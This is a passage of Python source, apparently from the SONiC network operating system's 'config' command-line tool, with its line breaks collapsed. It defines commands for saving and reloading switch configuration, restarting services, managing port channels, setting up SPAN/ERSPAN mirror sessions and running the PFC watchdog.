config_db.connect() for qos_table in QOS_TABLE_NAMES: config_db.delete_table(qos_table) def _get_sonic_generated_services(num_asic): if not os.path.isfile(SONIC_GENERATED_SERVICE_PATH): return None generated_services_list = [] generated_multi_instance_services = [] with open(SONIC_GENERATED_SERVICE_PATH) as generated_service_file: for line in generated_service_file: if '@' in line: line = line.replace('@', '') if num_asic > 1: generated_multi_instance_services.append(line.rstrip('\n')) else: generated_services_list.append(line.rstrip('\n')) else: generated_services_list.append(line.rstrip('\n')) return generated_services_list, generated_multi_instance_services # Callback for confirmation prompt. Aborts if user enters "n" def _abort_if_false(ctx, param, value): if not value: ctx.abort() def _get_disabled_services_list(config_db): disabled_services_list = [] feature_table = config_db.get_table('FEATURE') if feature_table is not None: for feature_name in feature_table: if not feature_name: log.log_warning("Feature is None") continue state = feature_table[feature_name]['state'] if not state: log.log_warning("Enable state of feature '{}' is None".format(feature_name)) continue if state == "disabled": disabled_services_list.append(feature_name) else: log.log_warning("Unable to retreive FEATURE table") return disabled_services_list def _stop_services(config_db): # This list is order-dependent. Please add services in the order they should be stopped # on Mellanox platform pmon is stopped by syncd services_to_stop = [ 'telemetry', 'restapi', 'swss', 'lldp', 'pmon', 'bgp', 'hostcfgd', 'nat' ] if asic_type == 'mellanox' and 'pmon' in services_to_stop: services_to_stop.remove('pmon') disabled_services = _get_disabled_services_list(config_db) for service in disabled_services: if service in services_to_stop: services_to_stop.remove(service) execute_systemctl(services_to_stop, SYSTEMCTL_ACTION_STOP) def _reset_failed_services(config_db): # This list is order-independent. Please keep list in alphabetical order services_to_reset = [ 'bgp', 'dhcp_relay', 'hostcfgd', 'hostname-config', 'interfaces-config', 'lldp', 'nat', 'ntp-config', 'pmon', 'radv', 'restapi', 'rsyslog-config', 'sflow', 'snmp', 'swss', 'syncd', 'teamd', 'telemetry' ] disabled_services = _get_disabled_services_list(config_db) for service in disabled_services: if service in services_to_reset: services_to_reset.remove(service) execute_systemctl(services_to_reset, SYSTEMCTL_ACTION_RESET_FAILED) def _restart_services(config_db): # This list is order-dependent. Please add services in the order they should be started # on Mellanox platform pmon is started by syncd services_to_restart = [ 'hostname-config', 'interfaces-config', 'ntp-config', 'rsyslog-config', 'swss', 'bgp', 'pmon', 'lldp', 'hostcfgd', 'nat', 'sflow', 'restapi', 'telemetry' ] disabled_services = _get_disabled_services_list(config_db) for service in disabled_services: if service in services_to_restart: services_to_restart.remove(service) if asic_type == 'mellanox' and 'pmon' in services_to_restart: services_to_restart.remove('pmon') execute_systemctl(services_to_restart, SYSTEMCTL_ACTION_RESTART) # Reload Monit configuration to pick up new hostname in case it changed click.echo("Reloading Monit configuration ...") clicommon.run_command("sudo monit reload") def interface_is_in_vlan(vlan_member_table, interface_name): """ Check if an interface is in a vlan """ for _, intf in vlan_member_table: if intf == interface_name: return True return False def interface_is_in_portchannel(portchannel_member_table, interface_name): """ Check if an interface is part of portchannel """ for _, intf in portchannel_member_table: if intf == interface_name: return True return False def interface_has_mirror_config(mirror_table, interface_name): """ Check if port is already configured with mirror config """ for _, v in mirror_table.items(): if 'src_port' in v and v['src_port'] == interface_name: return True if 'dst_port' in v and v['dst_port'] == interface_name: return True return False def validate_mirror_session_config(config_db, session_name, dst_port, src_port, direction): """ Check if SPAN mirror-session config is valid """ if len(config_db.get_entry('MIRROR_SESSION', session_name)) != 0: click.echo("Error: {} already exists".format(session_name)) return False vlan_member_table = config_db.get_table('VLAN_MEMBER') mirror_table = config_db.get_table('MIRROR_SESSION') portchannel_member_table = config_db.get_table('PORTCHANNEL_MEMBER') if dst_port: if not interface_name_is_valid(config_db, dst_port): click.echo("Error: Destination Interface {} is invalid".format(dst_port)) return False if interface_is_in_vlan(vlan_member_table, dst_port): click.echo("Error: Destination Interface {} has vlan config".format(dst_port)) return False if interface_has_mirror_config(mirror_table, dst_port): click.echo("Error: Destination Interface {} already has mirror config".format(dst_port)) return False if interface_is_in_portchannel(portchannel_member_table, dst_port): click.echo("Error: Destination Interface {} has portchannel config".format(dst_port)) return False if clicommon.is_port_router_interface(config_db, dst_port): click.echo("Error: Destination Interface {} is a L3 interface".format(dst_port)) return False if src_port: for port in src_port.split(","): if not interface_name_is_valid(config_db, port): click.echo("Error: Source Interface {} is invalid".format(port)) return False if dst_port and dst_port == port: click.echo("Error: Destination Interface cant be same as Source Interface") return False if interface_has_mirror_config(mirror_table, port): click.echo("Error: Source Interface {} already has mirror config".format(port)) return False if direction: if direction not in ['rx', 'tx', 'both']: click.echo("Error: Direction {} is invalid".format(direction)) return False return True def update_sonic_environment(): """Prepare sonic environment variable using SONiC environment template file. """ SONIC_ENV_TEMPLATE_FILE = os.path.join('/', "usr", "share", "sonic", "templates", "sonic-environment.j2") SONIC_VERSION_YML_FILE = os.path.join('/', "etc", "sonic", "sonic_version.yml") SONIC_ENV_FILE = os.path.join('/', "etc", "sonic", "sonic-environment") if os.path.isfile(SONIC_ENV_TEMPLATE_FILE) and os.path.isfile(SONIC_VERSION_YML_FILE): clicommon.run_command( "{} -d -y {} -t {},{}".format( SONIC_CFGGEN_PATH, SONIC_VERSION_YML_FILE, SONIC_ENV_TEMPLATE_FILE, SONIC_ENV_FILE ), display_cmd=True ) # This is our main entrypoint - the main 'config' command @click.group(cls=clicommon.AbbreviationGroup, context_settings=CONTEXT_SETTINGS) @click.pass_context def config(ctx): """SONiC command line - 'config' command""" # # Load asic_type for further use # global asic_type try: version_info = device_info.get_sonic_version_info() asic_type = version_info['asic_type'] except (KeyError, TypeError): raise click.Abort() if asic_type == 'mellanox': platform.add_command(mlnx.mlnx) # Load the global config file database_global.json once. SonicDBConfig.load_sonic_global_db_config() if os.geteuid() != 0: exit("Root privileges are required for this operation") ctx.obj = Db() # Add groups from other modules config.add_command(aaa.aaa) config.add_command(aaa.tacacs) config.add_command(chassis_modules.chassis_modules) config.add_command(console.console) config.add_command(feature.feature) config.add_command(kdump.kdump) config.add_command(kube.kubernetes) config.add_command(muxcable.muxcable) config.add_command(nat.nat) config.add_command(vlan.vlan) config.add_command(vxlan.vxlan) @config.command() @click.option('-y', '--yes', is_flag=True, callback=_abort_if_false, expose_value=False, prompt='Existing files will be overwritten, continue?') @click.argument('filename', required=False) def save(filename): """Export current config DB to a file on disk.\n <filename> : Names of configuration file(s) to save, separated by comma with no spaces in between """ num_asic = multi_asic.get_num_asics() cfg_files = [] num_cfg_file = 1 if multi_asic.is_multi_asic(): num_cfg_file += num_asic # If the user give the filename[s], extract the file names. if filename is not None: cfg_files = filename.split(',') if len(cfg_files) != num_cfg_file: click.echo("Input {} config file(s) separated by comma for multiple files ".format(num_cfg_file)) return # In case of multi-asic mode we have additional config_db{NS}.json files for # various namespaces created per ASIC. {NS} is the namespace index. for inst in range(-1, num_cfg_file-1): #inst = -1, refers to the linux host where there is no namespace. if inst == -1: namespace = None else: namespace = "{}{}".format(NAMESPACE_PREFIX, inst) # Get the file from user input, else take the default file /etc/sonic/config_db{NS_id}.json if cfg_files: file = cfg_files[inst+1] else: if namespace is None: file = DEFAULT_CONFIG_DB_FILE else: file = "/etc/sonic/config_db{}.json".format(inst) if namespace is None: command = "{} -d --print-data > {}".format(SONIC_CFGGEN_PATH, file) else: command = "{} -n {} -d --print-data > {}".format(SONIC_CFGGEN_PATH, namespace, file) log.log_info("'save' executing...") clicommon.run_command(command, display_cmd=True) @config.command() @click.option('-y', '--yes', is_flag=True) @click.argument('filename', required=False) def load(filename, yes): """Import a previous saved config DB dump file. <filename> : Names of configuration file(s) to load, separated by comma with no spaces in between """ if filename is None: message = 'Load config from the default config file(s) ?' else: message = 'Load config from the file(s) {} ?'.format(filename) if not yes: click.confirm(message, abort=True) num_asic = multi_asic.get_num_asics() cfg_files = [] num_cfg_file = 1 if multi_asic.is_multi_asic(): num_cfg_file += num_asic # If the user give the filename[s], extract the file names. if filename is not None: cfg_files = filename.split(',') if len(cfg_files) != num_cfg_file: click.echo("Input {} config file(s) separated by comma for multiple files ".format(num_cfg_file)) return # In case of multi-asic mode we have additional config_db{NS}.json files for # various namespaces created per ASIC. {NS} is the namespace index. for inst in range(-1, num_cfg_file-1): #inst = -1, refers to the linux host where there is no namespace. if inst == -1: namespace = None else: namespace = "{}{}".format(NAMESPACE_PREFIX, inst) # Get the file from user input, else take the default file /etc/sonic/config_db{NS_id}.json if cfg_files: file = cfg_files[inst+1] else: if namespace is None: file = DEFAULT_CONFIG_DB_FILE else: file = "/etc/sonic/config_db{}.json".format(inst) # if any of the config files in linux host OR namespace is not present, return if not os.path.exists(file): click.echo("The config_db file {} doesn't exist".format(file)) return if namespace is None: command = "{} -j {} --write-to-db".format(SONIC_CFGGEN_PATH, file) else: command = "{} -n {} -j {} --write-to-db".format(SONIC_CFGGEN_PATH, namespace, file) log.log_info("'load' executing...") clicommon.run_command(command, display_cmd=True) @config.command() @click.option('-y', '--yes', is_flag=True) @click.option('-l', '--load-sysinfo', is_flag=True, help='load system default information (mac, portmap etc) first.') @click.option('-n', '--no_service_restart', default=False, is_flag=True, help='Do not restart docker services') @click.argument('filename', required=False) @clicommon.pass_db def reload(db, filename, yes, load_sysinfo, no_service_restart): """Clear current configuration and import a previous saved config DB dump file. <filename> : Names of configuration file(s) to load, separated by comma with no spaces in between """ if filename is None: message = 'Clear current config and reload config from the default config file(s) ?' else: message = 'Clear current config and reload config from the file(s) {} ?'.format(filename) if not yes: click.confirm(message, abort=True) log.log_info("'reload' executing...") num_asic = multi_asic.get_num_asics() cfg_files = [] num_cfg_file = 1 if multi_asic.is_multi_asic(): num_cfg_file += num_asic # If the user give the filename[s], extract the file names. if filename is not None: cfg_files = filename.split(',') if len(cfg_files) != num_cfg_file: click.echo("Input {} config file(s) separated by comma for multiple files ".format(num_cfg_file)) return if load_sysinfo: command = "{} -j {} -v DEVICE_METADATA.localhost.hwsku".format(SONIC_CFGGEN_PATH, filename) proc = subprocess.Popen(command, shell=True, text=True, stdout=subprocess.PIPE) cfg_hwsku, err = proc.communicate() if err: click.echo("Could not get the HWSKU from config file, exiting") sys.exit(1) else: cfg_hwsku = cfg_hwsku.strip() #Stop services before config push if not no_service_restart: log.log_info("'reload' stopping services...") _stop_services(db.cfgdb) # In Single ASIC platforms we have single DB service. In multi-ASIC platforms we have a global DB # service running in the host + DB services running in each ASIC namespace created per ASIC. # In the below logic, we get all namespaces in this platform and add an empty namespace '' # denoting the current namespace which we are in ( the linux host ) for inst in range(-1, num_cfg_file-1): # Get the namespace name, for linux host it is None if inst == -1: namespace = None else: namespace = "{}{}".format(NAMESPACE_PREFIX, inst) # Get the file from user input, else take the default file /etc/sonic/config_db{NS_id}.json if cfg_files: file = cfg_files[inst+1] else: if namespace is None: file = DEFAULT_CONFIG_DB_FILE else: file = "/etc/sonic/config_db{}.json".format(inst) # Check the file exists before proceeding. if not os.path.exists(file): click.echo("The config_db file {} doesn't exist".format(file)) continue if namespace is None: config_db = ConfigDBConnector() else: config_db = ConfigDBConnector(use_unix_socket_path=True, namespace=namespace) config_db.connect() client = config_db.get_redis_client(config_db.CONFIG_DB) client.flushdb() if load_sysinfo: if namespace is None: command = "{} -H -k {} --write-to-db".format(SONIC_CFGGEN_PATH, cfg_hwsku) else: command = "{} -H -k {} -n {} --write-to-db".format(SONIC_CFGGEN_PATH, cfg_hwsku, namespace) clicommon.run_command(command, display_cmd=True) # For the database service running in linux host we use the file user gives as input # or by default DEFAULT_CONFIG_DB_FILE. In the case of database service running in namespace, # the default config_db<namespaceID>.json format is used. if namespace is None: if os.path.isfile(INIT_CFG_FILE): command = "{} -j {} -j {} --write-to-db".format(SONIC_CFGGEN_PATH, INIT_CFG_FILE, file) else: command = "{} -j {} --write-to-db".format(SONIC_CFGGEN_PATH, file) else: if os.path.isfile(INIT_CFG_FILE): command = "{} -j {} -j {} -n {} --write-to-db".format(SONIC_CFGGEN_PATH, INIT_CFG_FILE, file, namespace) else: command = "{} -j {} -n {} --write-to-db".format(SONIC_CFGGEN_PATH, file, namespace) clicommon.run_command(command, display_cmd=True) client.set(config_db.INIT_INDICATOR, 1) # Migrate DB contents to latest version db_migrator='/usr/local/bin/db_migrator.py' if os.path.isfile(db_migrator) and os.access(db_migrator, os.X_OK): if namespace is None: command = "{} -o migrate".format(db_migrator) else: command = "{} -o migrate -n {}".format(db_migrator, namespace) clicommon.run_command(command, display_cmd=True) # We first run "systemctl reset-failed" to remove the "failed" # status from all services before we attempt to restart them if not no_service_restart: _reset_failed_services(db.cfgdb) log.log_info("'reload' restarting services...") _restart_services(db.cfgdb) @config.command("load_mgmt_config") @click.option('-y', '--yes', is_flag=True, callback=_abort_if_false, expose_value=False, prompt='Reload mgmt config?') @click.argument('filename', default='/etc/sonic/device_desc.xml', type=click.Path(exists=True)) def load_mgmt_config(filename): """Reconfigure hostname and mgmt interface based on device description file.""" log.log_info("'load_mgmt_config' executing...") command = "{} -M {} --write-to-db".format(SONIC_CFGGEN_PATH, filename) clicommon.run_command(command, display_cmd=True) #FIXME: After config DB daemon for hostname and mgmt interface is implemented, we'll no longer need to do manual configuration here config_data = parse_device_desc_xml(filename) hostname = config_data['DEVICE_METADATA']['localhost']['hostname'] _change_hostname(hostname) mgmt_conf = netaddr.IPNetwork(list(config_data['MGMT_INTERFACE'].keys())[0][1]) gw_addr = list(config_data['MGMT_INTERFACE'].values())[0]['gwaddr'] command = "ifconfig eth0 {} netmask {}".format(str(mgmt_conf.ip), str(mgmt_conf.netmask)) clicommon.run_command(command, display_cmd=True) command = "ip route add default via {} dev eth0 table default".format(gw_addr) clicommon.run_command(command, display_cmd=True, ignore_error=True) command = "ip rule add from {} table default".format(str(mgmt_conf.ip)) clicommon.run_command(command, display_cmd=True, ignore_error=True) command = "[ -f /var/run/dhclient.eth0.pid ] && kill `cat /var/run/dhclient.eth0.pid` && rm -f /var/run/dhclient.eth0.pid" clicommon.run_command(command, display_cmd=True, ignore_error=True) click.echo("Please note loaded setting will be lost after system reboot. To preserve setting, run `config save`.") @config.command("load_minigraph") @click.option('-y', '--yes', is_flag=True, callback=_abort_if_false, expose_value=False, prompt='Reload config from minigraph?') @click.option('-n', '--no_service_restart', default=False, is_flag=True, help='Do not restart docker services') @clicommon.pass_db def load_minigraph(db, no_service_restart): """Reconfigure based on minigraph.""" log.log_info("'load_minigraph' executing...") #Stop services before config push if not no_service_restart: log.log_info("'load_minigraph' stopping services...") _stop_services(db.cfgdb) # For Single Asic platform the namespace list has the empty string # for mulit Asic platform the empty string to generate the config # for host namespace_list = [DEFAULT_NAMESPACE] num_npus = multi_asic.get_num_asics() if num_npus > 1: namespace_list += multi_asic.get_namespaces_from_linux() for namespace in namespace_list: if namespace is DEFAULT_NAMESPACE: config_db = ConfigDBConnector() cfggen_namespace_option = " " ns_cmd_prefix = "" else: config_db = ConfigDBConnector(use_unix_socket_path=True, namespace=namespace) cfggen_namespace_option = " -n {}".format(namespace) ns_cmd_prefix = "sudo ip netns exec {} ".format(namespace) config_db.connect() client = config_db.get_redis_client(config_db.CONFIG_DB) client.flushdb() if os.path.isfile('/etc/sonic/init_cfg.json'): command = "{} -H -m -j /etc/sonic/init_cfg.json {} --write-to-db".format(SONIC_CFGGEN_PATH, cfggen_namespace_option) else: command = "{} -H -m --write-to-db {}".format(SONIC_CFGGEN_PATH, cfggen_namespace_option) clicommon.run_command(command, display_cmd=True) client.set(config_db.INIT_INDICATOR, 1) # get the device type device_type = _get_device_type() if device_type != 'MgmtToRRouter': clicommon.run_command("pfcwd start_default", display_cmd=True) # Update SONiC environmnet file update_sonic_environment() if os.path.isfile('/etc/sonic/acl.json'): clicommon.run_command("acl-loader update full /etc/sonic/acl.json", display_cmd=True) # generate QoS and Buffer configs clicommon.run_command("config qos reload --no-dynamic-buffer", display_cmd=True) # Write latest db version string into db db_migrator='/usr/local/bin/db_migrator.py' if os.path.isfile(db_migrator) and os.access(db_migrator, os.X_OK): for namespace in namespace_list: if namespace is DEFAULT_NAMESPACE: cfggen_namespace_option = " " else: cfggen_namespace_option = " -n {}".format(namespace) clicommon.run_command(db_migrator + ' -o set_version' + cfggen_namespace_option) # We first run "systemctl reset-failed" to remove the "failed" # status from all services before we attempt to restart them if not no_service_restart: _reset_failed_services(db.cfgdb) #FIXME: After config DB daemon is implemented, we'll no longer need to restart every service. log.log_info("'load_minigraph' restarting services...") _restart_services(db.cfgdb) click.echo("Please note setting loaded from minigraph will be lost after system reboot. To preserve setting, run `config save`.") # # 'hostname' command # @config.command('hostname') @click.argument('new_hostname', metavar='<new_hostname>', required=True) def hostname(new_hostname): """Change device hostname without impacting the traffic.""" config_db = ConfigDBConnector() config_db.connect() config_db.mod_entry('DEVICE_METADATA' , 'localhost', {"hostname" : new_hostname}) try: command = "service hostname-config restart" clicommon.run_command(command, display_cmd=True) except SystemExit as e: click.echo("Restarting hostname-config service failed with error {}".format(e)) raise # Reload Monit configuration to pick up new hostname in case it changed click.echo("Reloading Monit configuration ...") clicommon.run_command("sudo monit reload") click.echo("Please note loaded setting will be lost after system reboot. To preserve setting, run `config save`.") # # 'synchronous_mode' command ('config synchronous_mode ...') # @config.command('synchronous_mode') @click.argument('sync_mode', metavar='<enable|disable>', required=True) def synchronous_mode(sync_mode): """ Enable or disable synchronous mode between orchagent and syncd \n swss restart required to apply the configuration \n Options to restart swss and apply the configuration: \n 1. config save -y \n config reload -y \n 2. systemctl restart swss """ if sync_mode == 'enable' or sync_mode == 'disable': config_db = ConfigDBConnector() config_db.connect() config_db.mod_entry('DEVICE_METADATA' , 'localhost', {"synchronous_mode" : sync_mode}) click.echo("""Wrote %s synchronous mode into CONFIG_DB, swss restart required to apply the configuration: \n Option 1. config save -y \n config reload -y \n Option 2. systemctl restart swss""" % sync_mode) else: raise click.BadParameter("Error: Invalid argument %s, expect either enable or disable" % sync_mode) # # 'portchannel' group ('config portchannel ...') # @config.group(cls=clicommon.AbbreviationGroup) # TODO add "hidden=True if this is a single ASIC platform, once we have click 7.0 in all branches. @click.option('-n', '--namespace', help='Namespace name', required=True if multi_asic.is_multi_asic() else False, type=click.Choice(multi_asic.get_namespace_list())) @click.pass_context def portchannel(ctx, namespace): # Set namespace to default_namespace if it is None. if namespace is None: namespace = DEFAULT_NAMESPACE config_db = ConfigDBConnector(use_unix_socket_path=True, namespace=str(namespace)) config_db.connect() ctx.obj = {'db': config_db, 'namespace': str(namespace)} @portchannel.command('add') @click.argument('portchannel_name', metavar='<portchannel_name>', required=True) @click.option('--min-links', default=0, type=int) @click.option('--fallback', default='false') @click.pass_context def add_portchannel(ctx, portchannel_name, min_links, fallback): """Add port channel""" if is_portchannel_name_valid(portchannel_name) != True: ctx.fail("{} is invalid!, name should have prefix '{}' and suffix '{}'" .format(portchannel_name, CFG_PORTCHANNEL_PREFIX, CFG_PORTCHANNEL_NO)) db = ctx.obj['db'] if is_portchannel_present_in_db(db, portchannel_name): ctx.fail("{} already exists!".format(portchannel_name)) fvs = {'admin_status': 'up', 'mtu': '9100'} if min_links != 0: fvs['min_links'] = str(min_links) if fallback != 'false': fvs['fallback'] = 'true' db.set_entry('PORTCHANNEL', portchannel_name, fvs) @portchannel.command('del') @click.argument('portchannel_name', metavar='<portchannel_name>', required=True) @click.pass_context def remove_portchannel(ctx, portchannel_name): """Remove port channel""" if is_portchannel_name_valid(portchannel_name) != True: ctx.fail("{} is invalid!, name should have prefix '{}' and suffix '{}'" .format(portchannel_name, CFG_PORTCHANNEL_PREFIX, CFG_PORTCHANNEL_NO)) db = ctx.obj['db'] # Dont proceed if the port channel does not exist if is_portchannel_present_in_db(db, portchannel_name) is False: ctx.fail("{} is not present.".format(portchannel_name)) if len([(k, v) for k, v in db.get_table('PORTCHANNEL_MEMBER') if k == portchannel_name]) != 0: click.echo("Error: Portchannel {} contains members. Remove members before deleting Portchannel!".format(portchannel_name)) else: db.set_entry('PORTCHANNEL', portchannel_name, None) @portchannel.group(cls=clicommon.AbbreviationGroup, name='member') @click.pass_context def portchannel_member(ctx): pass @portchannel_member.command('add') @click.argument('portchannel_name', metavar='<portchannel_name>', required=True) @click.argument('port_name', metavar='<port_name>', required=True) @click.pass_context def add_portchannel_member(ctx, portchannel_name, port_name): """Add member to port channel""" db = ctx.obj['db'] if clicommon.is_port_mirror_dst_port(db, port_name): ctx.fail("{} is configured as mirror destination port".format(port_name)) # Check if the member interface given by user is valid in the namespace. if port_name.startswith("Ethernet") is False or interface_name_is_valid(db, port_name) is False: ctx.fail("Interface name is invalid. Please enter a valid interface name!!") # Dont proceed if the port channel name is not valid if is_portchannel_name_valid(portchannel_name) is False: ctx.fail("{} is invalid!, name should have prefix '{}' and suffix '{}'" .format(portchannel_name, CFG_PORTCHANNEL_PREFIX, CFG_PORTCHANNEL_NO)) # Dont proceed if the port channel does not exist if is_portchannel_present_in_db(db, portchannel_name) is False: ctx.fail("{} is not present.".format(portchannel_name)) # Dont allow a port to be member of port channel if it is configured with an IP address for key in db.get_table('INTERFACE').keys(): if type(key) != tuple: continue if key[0] == port_name: ctx.fail(" {} has ip address {} configured".format(port_name, key[1])) return # Dont allow a port to be member of port channel if it is configured as a VLAN member for k,v in db.get_table('VLAN_MEMBER'): if v == port_name: ctx.fail("%s Interface configured as VLAN_MEMBER under vlan : %s" %(port_name,str(k))) return # Dont allow a port to be member of port channel if it is already member of a port channel for k,v in db.get_table('PORTCHANNEL_MEMBER'): if v == port_name: ctx.fail("{} Interface is already member of {} ".format(v,k)) # Dont allow a port to be member of port channel if its speed does not match with existing members for k,v in db.get_table('PORTCHANNEL_MEMBER'): if k == portchannel_name: member_port_entry = db.get_entry('PORT', v) port_entry = db.get_entry('PORT', port_name) if member_port_entry is not None and port_entry is not None: member_port_speed = member_port_entry.get(PORT_SPEED) port_speed = port_entry.get(PORT_SPEED) if member_port_speed != port_speed: ctx.fail("Port speed of {} is different than the other members of the portchannel {}" .format(port_name, portchannel_name)) # Dont allow a port to be member of port channel if its MTU does not match with portchannel portchannel_entry = db.get_entry('PORTCHANNEL', portchannel_name) if portchannel_entry and portchannel_entry.get(PORT_MTU) is not None : port_entry = db.get_entry('PORT', port_name) if port_entry and port_entry.get(PORT_MTU) is not None: port_mtu = port_entry.get(PORT_MTU) portchannel_mtu = portchannel_entry.get(PORT_MTU) if portchannel_mtu != port_mtu: ctx.fail("Port MTU of {} is different than the {} MTU size" .format(port_name, portchannel_name)) db.set_entry('PORTCHANNEL_MEMBER', (portchannel_name, port_name), {'NULL': 'NULL'}) @portchannel_member.command('del') @click.argument('portchannel_name', metavar='<portchannel_name>', required=True) @click.argument('port_name', metavar='<port_name>', required=True) @click.pass_context def del_portchannel_member(ctx, portchannel_name, port_name): """Remove member from portchannel""" # Dont proceed if the port channel name is not valid if is_portchannel_name_valid(portchannel_name) is False: ctx.fail("{} is invalid!, name should have prefix '{}' and suffix '{}'" .format(portchannel_name, CFG_PORTCHANNEL_PREFIX, CFG_PORTCHANNEL_NO)) db = ctx.obj['db'] # Check if the member interface given by user is valid in the namespace. if interface_name_is_valid(db, port_name) is False: ctx.fail("Interface name is invalid. Please enter a valid interface name!!") # Dont proceed if the port channel does not exist if is_portchannel_present_in_db(db, portchannel_name) is False: ctx.fail("{} is not present.".format(portchannel_name)) # Dont proceed if the the port is not an existing member of the port channel if not is_port_member_of_this_portchannel(db, port_name, portchannel_name): ctx.fail("{} is not a member of portchannel {}".format(port_name, portchannel_name)) db.set_entry('PORTCHANNEL_MEMBER', (portchannel_name, port_name), None) db.set_entry('PORTCHANNEL_MEMBER', portchannel_name + '|' + port_name, None) # # 'mirror_session' group ('config mirror_session ...') # @config.group(cls=clicommon.AbbreviationGroup, name='mirror_session') def mirror_session(): pass # # 'add' subgroup ('config mirror_session add ...') # @mirror_session.command('add') @click.argument('session_name', metavar='<session_name>', required=True) @click.argument('src_ip', metavar='<src_ip>', required=True) @click.argument('dst_ip', metavar='<dst_ip>', required=True) @click.argument('dscp', metavar='<dscp>', required=True) @click.argument('ttl', metavar='<ttl>', required=True) @click.argument('gre_type', metavar='[gre_type]', required=False) @click.argument('queue', metavar='[queue]', required=False) @click.option('--policer') def add(session_name, src_ip, dst_ip, dscp, ttl, gre_type, queue, policer): """ Add ERSPAN mirror session.(Legacy support) """ add_erspan(session_name, src_ip, dst_ip, dscp, ttl, gre_type, queue, policer) @mirror_session.group(cls=clicommon.AbbreviationGroup, name='erspan') @click.pass_context def erspan(ctx): """ ERSPAN mirror_session """ pass # # 'add' subcommand # @erspan.command('add') @click.argument('session_name', metavar='<session_name>', required=True) @click.argument('src_ip', metavar='<src_ip>', required=True) @click.argument('dst_ip', metavar='<dst_ip>', required=True) @click.argument('dscp', metavar='<dscp>', required=True) @click.argument('ttl', metavar='<ttl>', required=True) @click.argument('gre_type', metavar='[gre_type]', required=False) @click.argument('queue', metavar='[queue]', required=False) @click.argument('src_port', metavar='[src_port]', required=False) @click.argument('direction', metavar='[direction]', required=False) @click.option('--policer') def add(session_name, src_ip, dst_ip, dscp, ttl, gre_type, queue, policer, src_port, direction): """ Add ERSPAN mirror session """ add_erspan(session_name, src_ip, dst_ip, dscp, ttl, gre_type, queue, policer, src_port, direction) def gather_session_info(session_info, policer, queue, src_port, direction): if policer: session_info['policer'] = policer if queue: session_info['queue'] = queue if src_port: if clicommon.get_interface_naming_mode() == "alias": src_port_list = [] for port in src_port.split(","): src_port_list.append(interface_alias_to_name(None, port)) src_port=",".join(src_port_list) session_info['src_port'] = src_port if not direction: direction = "both" session_info['direction'] = direction.upper() return session_info def add_erspan(session_name, src_ip, dst_ip, dscp, ttl, gre_type, queue, policer, src_port=None, direction=None): session_info = { "type" : "ERSPAN", "src_ip": src_ip, "dst_ip": dst_ip, "dscp": dscp, "ttl": ttl } if gre_type: session_info['gre_type'] = gre_type session_info = gather_session_info(session_info, policer, queue, src_port, direction) """ For multi-npu platforms we need to program all front asic namespaces """ namespaces = multi_asic.get_all_namespaces() if not namespaces['front_ns']: config_db = ConfigDBConnector() config_db.connect() if validate_mirror_session_config(config_db, session_name, None, src_port, direction) is False: return config_db.set_entry("MIRROR_SESSION", session_name, session_info) else: per_npu_configdb = {} for front_asic_namespaces in namespaces['front_ns']: per_npu_configdb[front_asic_namespaces] = ConfigDBConnector(use_unix_socket_path=True, namespace=front_asic_namespaces) per_npu_configdb[front_asic_namespaces].connect() if validate_mirror_session_config(per_npu_configdb[front_asic_namespaces], session_name, None, src_port, direction) is False: return per_npu_configdb[front_asic_namespaces].set_entry("MIRROR_SESSION", session_name, session_info) @mirror_session.group(cls=clicommon.AbbreviationGroup, name='span') @click.pass_context def span(ctx): """ SPAN mirror session """ pass @span.command('add') @click.argument('session_name', metavar='<session_name>', required=True) @click.argument('dst_port', metavar='<dst_port>', required=True) @click.argument('src_port', metavar='[src_port]', required=False) @click.argument('direction', metavar='[direction]', required=False) @click.argument('queue', metavar='[queue]', required=False) @click.option('--policer') def add(session_name, dst_port, src_port, direction, queue, policer): """ Add SPAN mirror session """ add_span(session_name, dst_port, src_port, direction, queue, policer) def add_span(session_name, dst_port, src_port, direction, queue, policer): if clicommon.get_interface_naming_mode() == "alias": dst_port = interface_alias_to_name(None, dst_port) if dst_port is None: click.echo("Error: Destination Interface {} is invalid".format(dst_port)) return session_info = { "type" : "SPAN", "dst_port": dst_port, } session_info = gather_session_info(session_info, policer, queue, src_port, direction) """ For multi-npu platforms we need to program all front asic namespaces """ namespaces = multi_asic.get_all_namespaces() if not namespaces['front_ns']: config_db = ConfigDBConnector() config_db.connect() if validate_mirror_session_config(config_db, session_name, dst_port, src_port, direction) is False: return config_db.set_entry("MIRROR_SESSION", session_name, session_info) else: per_npu_configdb = {} for front_asic_namespaces in namespaces['front_ns']: per_npu_configdb[front_asic_namespaces] = ConfigDBConnector(use_unix_socket_path=True, namespace=front_asic_namespaces) per_npu_configdb[front_asic_namespaces].connect() if validate_mirror_session_config(per_npu_configdb[front_asic_namespaces], session_name, dst_port, src_port, direction) is False: return per_npu_configdb[front_asic_namespaces].set_entry("MIRROR_SESSION", session_name, session_info) @mirror_session.command() @click.argument('session_name', metavar='<session_name>', required=True) def remove(session_name): """ Delete mirror session """ """ For multi-npu platforms we need to program all front asic namespaces """ namespaces = multi_asic.get_all_namespaces() if not namespaces['front_ns']: config_db = ConfigDBConnector() config_db.connect() config_db.set_entry("MIRROR_SESSION", session_name, None) else: per_npu_configdb = {} for front_asic_namespaces in namespaces['front_ns']: per_npu_configdb[front_asic_namespaces] = ConfigDBConnector(use_unix_socket_path=True, namespace=front_asic_namespaces) per_npu_configdb[front_asic_namespaces].connect() per_npu_configdb[front_asic_namespaces].set_entry("MIRROR_SESSION", session_name, None) # # 'pfcwd' group ('config pfcwd ...') # @config.group(cls=clicommon.AbbreviationGroup) def pfcwd(): """Configure pfc watchdog """ pass @pfcwd.command() @click.option('--action', '-a', type=click.Choice(['drop', 'forward', 'alert'])) @click.option('--restoration-time', '-r', type=click.IntRange(100, 60000)) @click.option('--verbose', is_flag=True, help="Enable verbose output") @click.argument('ports', nargs=-1) @click.argument('detection-time', type=click.IntRange(100, 5000)) def start(action, restoration_time, ports, detection_time, verbose): """ Start PFC watchdog on port(s). To config all ports, use all as input. Example: config pfcwd start --action drop ports all detection-time 400 --restoration-time 400 """ cmd = "pfcwd start" if action: cmd += " --action {}".format(action) if ports: ports = set(ports) - set(['ports', 'detection-time']) cmd += " {}".format(' '.join(ports)) if detection_time: cmd += " {}".format(detection_time) if restoration_time: cmd += " --restoration-time {}".format(restoration_time) clicommon.run_command(cmd, display_cmd=verbose) @pfcwd.command() @click.option('--verbose', is_flag=True, help="Enable verbose output") def stop(verbose): """ Stop PFC watchdog """ cmd = "pfcwd stop" clicommon.run_command(cmd, display_cmd=verbose) @pfcwd.command() @click.option('--verbose', is_flag=True, help="Enable verbose output") @click.argument('poll_interval', 